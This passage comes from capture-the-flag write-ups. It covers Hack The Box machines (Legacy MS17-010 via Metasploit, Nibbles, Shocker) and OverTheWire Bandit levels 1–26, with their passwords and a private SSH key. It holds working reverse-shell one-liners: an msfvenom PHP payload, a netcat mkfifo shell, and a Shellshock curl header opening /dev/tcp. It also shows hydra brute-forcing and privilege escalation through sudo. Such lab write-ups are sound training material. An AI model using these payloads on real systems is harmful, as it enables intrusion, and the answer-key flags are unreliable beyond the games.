![SMB Vulnerability Scan](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-63da9af82259888e44ac9295dc15d69b2f6488f9%2Fsmb_nmap.png?alt=media)

Bingo, now we just have to find ourselves an exploit. In the interest of time, we'll just use metasploit to exploit this vulnerability. I originally intended to show how to do this manually, but due to the older version of windows this box is running, I ran into a lot of issues. for a non-metasploit look at MS17-010 be sure to take a look at my write-up on [blue](https://wiki.jacobshodd.com/writeups/hack-the-box/blue). The first thing we'll do is start our `msfconsole` and validate that this exploit will work on this target:

```
# starting msfconsole
msfconsole

# the following happens inside the console:
use exploit/windows/smb/ms17_010_psexec 
set RHOST 10.10.10.4
check
```

![MSF Exploit Validation](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5cd47f0662c95a6d5ac2071665bd437297111bcd%2Fvalidate.png?alt=media)

## Exploitation

Exploitation from here on is pretty simple. So simple in fact that it just takes typing one word: `exploit`. While I really prefer to not use metasploit for learning purposes, I can't deny how convenient it makes common exploits like this:

![Executing the exploit](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-8b316c132400bd41e6b34a7ebd51bd5d23a9cbf7%2Fexploit.png?alt=media)

With this we can either grab the flags using meterpreter commands, or spawn a shell with the command `shell`. With this we are able to read the flags:

![Flags](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-e5c21dc08e34e7028750fd7726acc22d82730831%2Fflags.png?alt=media)


# Nibbles

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-cf55d58044cdd412de8fcaf37e2ca4050698526a%2Finfo_card.png?alt=media)

## Initial Enumeration

As usual, we start with a quick and easy nmap scan. I generally do this before diving into full port scans and NSE scripts so I can start to explore things as those more verbose scans run, but in this case those weren't needed.

```bash
nmap -sV 10.10.10.75
```

From that we can see we have a rather narrow attack surface:

![Nmap Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-54223b0df678e0871c7936dfeb73b27a0eacc053%2Fnmap.png?alt=media)

If we're given ssh and an HTTP server as possible attack vectors, we can almost always assume the HTTP server is the target. Vulnerabilities in SSH aren't too common and generally won't be found on challenges ranked easy. That being said, let's dive into this HTTP server. Navigating to `http://10.10.10.75/` brings us to a page simply saying `Hello World!`, but after looking at the page source we see the following:

```html
<b>Hello world!</b>














<!-- /nibbleblog/ directory. Nothing interesting here! -->
```

Naturally we go to `http://10.10.10.75/nibbleblog` and find a web page ran on a product named `Nibbleblog`. Let's dig a little deeper into this site with a gobuster scan:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x php,md,html -t 50
```

![Gobuster Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-1cbbcd5da9ec5bebb2e0810f1822321cd2e5a04e%2Fgobuster.png?alt=media)

From this we see two things of interest. `nibbleblog/README` is a great place to find versioning information and `nibbleblog/admin.php` will generally give us a chance to attack an admin login page. Starting with `nibbleblog/README` we see the following at the top of the file:

```
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
```

Next let's take a look at `nibbleblog/admin.php`. As expected, we find a login page. After a quick google didn't bring up a set of default credentials I'll use hydra to brute force the login with the username `admin`. To see what's really going on with this form, we start up our Burp Suite proxy and submit a test login attempt to see how the data is being sent. Shown below is the captured login attempt:

```http
POST /nibbleblog/admin.php HTTP/1.1
Host: 10.10.10.75
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.75/nibbleblog/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: close
Cookie: PHPSESSID=0cnrenp6euhttr8p0sbsut6pn5
Upgrade-Insecure-Requests: 1

username=USER&password=PASS
```

Using this information we can set up hydra to start a dictionary attack against this login. The syntax for this attack is as follows:

```bash
hydra -P /usr/share/wordlists/nmap.lst -l admin 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect"
```

Unfortunately this leads to us being blacklisted by the application:

![We've Been Blacklisted](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-8dd4a91010c0e0c2859eb1290536ac9652e89657%2Fblacklisted.png?alt=media)

After waiting a few minutes we're taken off the blacklist and can access the login page once again. This time we take a more simple approach and guess the password. The general rule of thumb here is to think like a lazy sysadmin. After a few attempts I ended up finding the credentials `admin:nibbles`. Just to satisfy my own curiosity, I verified that the password `nibbles` would in fact have been found by my hydra scan if we weren't blacklisted :).

![Checking the Wordlist](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-41aa4f268f37d3f1902bd1a4aad92cf14e59c261%2Fnibbles.png?alt=media)

## Execution

With access to the admin console as well as the version information, we are well on our way to our initial shell. Using searchsploit we can check for public exploits:

![Searchsploit Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-6a54bc44224413c470aaf69f4cb75eb4569d132f%2Fsearchsploit.png?alt=media)

This [exploit](https://www.exploit-db.com/exploits/38489) tells us that an attacker can use the plugin `My image` to upload a php file and then execute it at `http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php`. Instead of using metasploit for this, I prefer to exploit it on my own. First we'll need a reverse shell to upload. To do this we'll use `msfvenom` to generate the payload:

```bash
echo '<?php' > evil.php && msfvenom -p php/reverse_php LHOST=$(tunip) LPORT=31337 -f raw >> evil.php && echo '?>' >> evil.php
```

{% hint style="info" %}
`tunip` is a handy bash alias I use to get my current IP address for Hack The Box. it is set to `ifconfig tun0 | sed -n '2 p' | awk '{print \$2}'` in my `~/.bash_aliases`
{% endhint %}

With this we can now select our file for upload in the plugin's configuration menu:

![My image Upload](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-efe5e3c93fb046433543766c392db691f030c8b7%2Fupload.png?alt=media)

After clicking `Save Changes` you'll get some error messages, but this isn't a problem. Navigating to `http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php` triggers our reverse shell on port `31337`. With this we are able to get the user flag:

![Obtaining the User Flag](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-be9c5f33a2b144064680e7bb5e4073fdfbe85b10%2Fuser.png?alt=media)

## Privilege Escalation

Going to the user `nibbler`'s home directory gives us a `personal.zip` file. Using `unzip` we can decompress this file and discover a file `personal/stuff/monitor.sh` which looks to be a custom monitoring script. Following my usual steps, I then run `sudo -l` to see if we have passwordless sudo access to anything:

![Passwordless Sudo Permissions](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-a660337ba7696d8d0c26be15e025178b58a16272%2Fsudo.png?alt=media)

Well that certainly makes this process easier. This tells us that we can execute the file `/home/nibbler/personal/stuff/monitor.sh` with sudo permissions *without* supplying a password. To exploit this I'm simply going to overwrite that file with a bash reverse shell back to my Kali host on a different port. To do this I'll run the following:

```bash
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4443 >/tmp/f' > /home/nibbler/personal/stuff/monitor.sh
chmod +x /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
```

Running these commands in our user shell replaces the contents of `monitor.sh` with a reverse shell, then executes that reverse shell with root privileges. With this we are able to read the root flag:

![Root Flag](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-09786e85a1eb076b5d3623bae7cc643bf48db85b%2Froot.png?alt=media)


# Shocker

![Machine Information](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-25fb1e8e1b87eabc8e1518f153f80eef1433d1a1%2Finfo_card.png?alt=media)

## Initial Enumeration

As always, we start with a nmap scan. The results for this box are pretty short with only two services running: http and ssh.

![Nmap Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-7ba03bb0f4d2f81270fa0c9830304755f33c515b%2Fnmap.png?alt=media)

No immediate exploits came up when searching the versions of apache or openssh, so we'll continue on and enumerate the web service. going directly to port 80 in our browser doesn't bring up anything interesting, just a page with a little text and an image:

![](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-c46b0a8f3c29e532e91bf170aa13ec3d6f439b7e%2Fwebpage.png?alt=media)

With as always with web applications, we start up a directory buster to see what else is hiding in there. I'll use the following command for our initial search:

```bash
gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x html,php,txt -t 50
```

![Gobuster Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5c3dcbb11021f57473d2904c67b7c5e36cdea932%2Finitial_gobuster.png?alt=media)

Everything in here looks pretty standard, but `/cgi-bin` is definitely something we want to check out. This is a directory where sysadmins can place scripts to be executed. That means we could find php, python, bash, etc scripts in here that we could abuse. Lets dig deeper into this directory with another gobuster scan, this time with a more extensive extension check.

```bash
gobuster dir -u http://10.10.10.56/cgi-bin -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x py,sh,php,js -t 50
```

![CGI-Bin Gobuster Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5e1f2e67d05db3e273561f9880f8825a72114b47%2Fcgi_gobuster.png?alt=media)

If we curl the url for `user.sh` we get the following:

![Curling user.sh](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-c6dc9cdd49d7051036ae4d7ef65c26233493fe09%2Fuser_sh.png?alt=media)

## Exploitation

Because this box is rated as easy, there is a shell script in the `cgi-bin` directory, **and** the name is `shocker` shellshock is a good bet. We can test this by adding a malicious HTTP Header with curl and execute a reverse shell:

```bash
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.12/4443 0>&1' http://10.10.10.56/cgi-bin/user.sh
```

![Catching Reverse Shell](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-d2c80fc28c15e6577e7e047e754a1445de2880c5%2Freverse.png?alt=media)

This gives a user shell and we are able to get the `user.txt` flag. Now time for some privesc.

{% hint style="info" %}
If you want to learn more about shellshock, this was a great and quick read: <https://fedoramagazine.org/shellshock-how-does-it-actually-work/>
{% endhint %}

## Privilege Escalation

As would be expected from a box rated easy, the path to root is quite simple. As with every box, the first thing I do is run `sudo -l` to see if our current user has sudo access **without** specifying a password. Lo and behold, we strike gold:

![Password-less Sudo Permissions](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-be15be9a3a5fdff95d38d921acc4dc90c4cd7c1d%2Fsudo.png?alt=media)

Using the perl interpreter with sudo access, we can start a `/bin/bash` process as the root user and obtain the root flag:

![Escalating to Root](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-1b768a9c000948380a2da2ebf5929d46c8849e29%2Froot.png?alt=media)


# Over The Wire


# Bandit

This is a collection of challenges built around common Linux utilities.

## Level 0

To start off we follow the instructions found here <https://overthewire.org/wargames/bandit/bandit0.html> and ssh to bandit.labs.overthewire.org on port 2220 as the user bandit0. To do this I will be using the Debian Windows Subsystem for Linux (mostly because putty can be annoying to work with). Just as a note, I will not be explaining these solutions, simply showing what commands can be used to find the flag. That being said, I am also using this an an exercise to test my bash-fu a little.

## Level 1

> The password for the next level is stored in a file called **readme** located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game.

{% tabs %}
{% tab title="Solution" %}

```bash
cat readme
```

{% endtab %}

{% tab title="Flag" %}

```
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
```

{% endtab %}
{% endtabs %}

## Level 2

> The password for the next level is stored in a file called **-** located in the home directory

{% tabs %}
{% tab title="Solution" %}

```bash
cat /home/bandit1/-
```

{% endtab %}

{% tab title="Flag" %}

```
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
```

{% endtab %}
{% endtabs %}

## Level 3

> The password for the next level is stored in a file called **spaces in this filename** located in the home directory

{% tabs %}
{% tab title="Solution" %}

```bash
cat ./spaces\ in\ this\ filename
```

{% endtab %}

{% tab title="Flag" %}

```
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
```

{% endtab %}
{% endtabs %}

## Level 4

> The password for the next level is stored in a hidden file in the **inhere** directory.

{% tabs %}
{% tab title="Solution" %}

```bash
cat inhere/.hidden
```

{% endtab %}

{% tab title="Flag" %}

```
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
```

{% endtab %}
{% endtabs %}

## Level 5

> The password for the next level is stored in the only human-readable file in the **inhere** directory. Tip: if your terminal is messed up, try the “reset” command.

{% tabs %}
{% tab title="Solution" %}

```bash
file inhere/* | grep ASCII | cat $(awk 'BEGIN { FS = ":"} ; { print $1}')
```

{% endtab %}

{% tab title="Flag" %}

```
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
```

{% endtab %}
{% endtabs %}

## Level 6

> The password for the next level is stored in a file somewhere under the **inhere** directory and has all of the following properties:

> * human-readable
> * 1033 bytes in size
> * not executable

{% tabs %}
{% tab title="Solution" %}

```bash
cat $(find inhere -size 1033c)
```

{% endtab %}

{% tab title="Flag" %}

```
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
```

{% endtab %}
{% endtabs %}

## Level 7

> The password for the next level is stored **somewhere on the server** and has all of the following properties:

> * owned by user bandit7
> * owned by group bandit6
> * 33 bytes in size

{% tabs %}
{% tab title="Solution" %}

```bash
cat $(find / -size 33c -user bandit7 -group bandit6 2> /dev/null)
```

{% endtab %}

{% tab title="Flag" %}

```
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
```

{% endtab %}
{% endtabs %}

## Level 8

> The password for the next level is stored in the file **data.txt** next to the word **millionth**

{% tabs %}
{% tab title="Solution" %}

```bash
grep millionth data.txt | awk ' {print $2} '
```

{% endtab %}

{% tab title="Flag" %}

```
cvX2JJa4CFALtqS87jk27qwqGhBM9plV
```

{% endtab %}
{% endtabs %}

## Level 9

> The password for the next level is stored in the file **data.txt** and is the only line of text that occurs only once

{% tabs %}
{% tab title="Solution" %}

```bash
cat data.txt | sort | uniq -u
```

{% endtab %}

{% tab title="Flag" %}

```
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
```

{% endtab %}
{% endtabs %}

## Level 10

> The password for the next level is stored in the file **data.txt** in one of the few human-readable strings, beginning with several ‘=’ characters.

{% hint style="info" %}
Note that for this challenge there are multiple lines that match the regular expression `^=+` so we must use the knowledge that the flag is 32 characters long.
{% endhint %}

{% tabs %}
{% tab title="Solution" %}

```bash
strings data.txt | grep -E '^=+[[:space:]]{1}[[:alnum:]]{32}' | awk '{print $2}'
```

{% endtab %}

{% tab title="Flag" %}

```
truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
```

{% endtab %}
{% endtabs %}

## Level 11

> The password for the next level is stored in the file **data.txt**, which contains base64 encoded data

{% tabs %}
{% tab title="Solution" %}

```bash
base64 -d data.txt | awk '{print $4}'
```

{% endtab %}

{% tab title="Flag" %}

```
IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
```

{% endtab %}
{% endtabs %}

## Level 12

> The password for the next level is stored in the file **data.txt**, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions

{% tabs %}
{% tab title="Solution" %}

```bash
cat data.txt | tr A-Za-z N-ZA-Mn-za-m | awk '{print $4}'
```

{% endtab %}

{% tab title="Flag" %}

```
5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
```

{% endtab %}
{% endtabs %}

## Level 13

> The password for the next level is stored in the file **data.txt**, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)

{% tabs %}
{% tab title="Solution" %}

```bash
xxd -r ~/data.txt - | gzip -d | bzip2 -d | gzip -d | tar xOf - | tar xOf - | bzip2 -d | tar xOf - | gunzip -d | awk '{print $4}'
```

{% endtab %}

{% tab title="Flag" %}

```
8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
```

{% endtab %}
{% endtabs %}

## Level 14

> The password for the next level is stored in **/etc/bandit\_pass/bandit14 and can only be read by user bandit14**. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. **Note:** **localhost** is a hostname that refers to the machine you are working on

{% tabs %}
{% tab title="Solution" %}

```bash
ssh -i sshkey.private bandit14@localhost cat /etc/bandit_pass/bandit14
```

{% endtab %}

{% tab title="Flag" %}

```
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
```

{% endtab %}
{% endtabs %}

## Level 15

> The password for the next level can be retrieved by submitting the password of the current level to **port 30000 on localhost**.

{% tabs %}
{% tab title="Solution" %}

```bash
nc -nv 127.0.0.1 30000 < /etc/bandit_pass/bandit14
```

{% endtab %}

{% tab title="Flag" %}

```
BfMYroe26WYalil77FoDi9qh59eK5xNr
```

{% endtab %}
{% endtabs %}

## Level 16

> The password for the next level can be retrieved by submitting the password of the current level to **port 30001 on localhost** using SSL encryption.
>
> **Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign\_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command…**

{% tabs %}
{% tab title="Solution" %}

```bash
openssl s_client -ign_eof -connect 127.0.0.1:30001 < /etc/bandit_pass/bandit15
```

{% endtab %}

{% tab title="Flag" %}

```
cluFn7wTiGryunymYOu4RcffSxQluehd
```

{% endtab %}
{% endtabs %}

## Level 17

> The credentials for the next level can be retrieved by submitting the password of the current level to **a port on localhost in the range 31000 to 32000**. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

Okay, I have to admit that my solution here is **ugly**, but was able to get it into a form that you could copy and paste. The basic flow of this solution goes:

1. Do an nmap scan for open ports between 31000-32000 on 127.0.0.1, enumerate the service versions on each open port, then output in grepable formate to stdout
2. ignore all lines starting with `#` or containing `Status`
3. grab the portion of the output with the open ports results
4. Cut the remaining strings off at the work `Ignored`
5. change all commas to new lines (this will make it so each port's results are on it's own line)
6. trim all spaces and tabs
7. ignore all lines that contain the word `echo` (We want to avoid the echo servers)
8. grab the first field, which is the port number of the valid port
9. Put this value into an environment variable named `PORT`
10. Use `$PORT` to connect to the correct port and pipe in the correct password from `/etc/bandit_pass/bandit16` to get the flag

While technically two commands, I'd say it is pretty compact. This page was super helpful in working with the nmap output: <https://github.com/leonjza/awesome-nmap-grep#print-the-top-10-ports>

{% tabs %}
{% tab title="Solution" %}

```bash
PORT=$(nmap -sV -p 31000-32000 -oG - 127.0.0.1 | egrep -v "^#|Status" | cut -d ' ' -f4- | sed -n -e 's/Ignored.*//p' | tr ',' '\n' | sed -e 's/^[ \t]*//' | egrep -v "unknown" | cut -d '/' -f1); openssl s_client -ign_eof -connect 127.0.0.1:$PORT < /etc/bandit_pass/bandit16
```

{% endtab %}

{% tab title="Flag" %}

```
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
```

{% endtab %}
{% endtabs %}

## Level 18

> There are 2 files in the homedirectory: **passwords.old and passwords.new**. The password for the next level is in **passwords.new** and is the only line that has been changed between **passwords.old and passwords.new**
>
> **NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19**

{% tabs %}
{% tab title="Solution" %}

```bash
diff passwords.old passwords.new | grep '>' | cut -d ' ' -f2
```

{% endtab %}

{% tab title="Flag" %}

```
kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
```

{% endtab %}
{% endtabs %}

## Level 19

> The password for the next level is stored in a file **readme** in the homedirectory. Unfortunately, someone has modified **.bashrc** to log you out when you log in with SSH.

Because the `.bashrc` for this user automatically kicks you, we simply run the command via ssh instead of logging in.

{% tabs %}
{% tab title="Solution" %}

```bash
ssh bandit18@bandit.labs.overthewire.org -p 2220 cat /home/bandit18/readme
```

{% endtab %}

{% tab title="Flag" %}

```
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
```

{% endtab %}
{% endtabs %}

## Level 20

> To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit\_pass), after you have used the setuid binary.

{% tabs %}
{% tab title="Solution" %}

```bash
./bandit20-do /bin/cat /etc/bandit_pass/bandit20
```

{% endtab %}

{% tab title="Flag" %}

```
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
```

{% endtab %}
{% endtabs %}

## Level 21

> There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21)

{% tabs %}
{% tab title="Solution" %}

```bash
# In tmux pane 1:
nc -nvlp 31337 < /etc/bandit_pass/bandit20

# In tmux pane 2:
./suconnect 31337
```

{% endtab %}

{% tab title="Flag" %}

```
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
```

{% endtab %}
{% endtabs %}

## Level 22

> A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.

The cronjob in this challenge is simply writing to the following file:

{% tabs %}
{% tab title="Solution" %}

```bash
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
```

{% endtab %}

{% tab title="Flag" %}

```
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
```

{% endtab %}
{% endtabs %}

## Level 23

> A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.
>
> **NOTE:** Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

{% tabs %}
{% tab title="Solution" %}

```bash
cat /tmp/$(echo I am user bandit23 | md5sum | cut -d ' ' -f1)
```

{% endtab %}

{% tab title="Flag" %}

```
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
```

{% endtab %}
{% endtabs %}

## Level 24

> A program is running automatically at regular intervals from **cron**, the time-based job scheduler. Look in **/etc/cron.d/** for the configuration and see what command is being executed.
>
> **NOTE:** This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
>
> **NOTE 2:** Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

{% tabs %}
{% tab title="Solution" %}

```bash
mkdir /tmp/bandit24_results
cd /tmp/bandit24_results
touch password.txt
chmod 666 password.txt
echo <<EOF > ./get_password.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/bandit24_results/password.txt
EOF
chmod 777 ./get_password.sh
cp ./get_password.sh /var/spool/bandit24
watch cat password.txt
```

{% endtab %}

{% tab title="Flag" %}

```
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
```

{% endtab %}
{% endtabs %}

## Level 25

> A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

This could certainly be sped up quite a bit with multithreading, but I didn't feel it was necessary.

{% tabs %}
{% tab title="Solution" %}

```bash
python ./solution.py
```

{% endtab %}

{% tab title="solution.py" %}

```python
import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
bandit24 = open('/etc/bandit_pass/bandit24','r').read().replace('\n','')
print "initiating brute force..."
connect = s.connect(('127.0.0.1',30002))
s.recv(1024)
for x in range(0,10000):
    print('attempting:{} {:04d}'.format(bandit24,x))
    s.send('{} {:04d}\n'.format(bandit24 , x))
    message = s.recv(1024)
    if 'Wrong!' not in message:
        print(message)
        break
s.close()
```

{% endtab %}

{% tab title="Flag" %}

```
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
```

{% endtab %}
{% endtabs %}

## Level 26

> Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

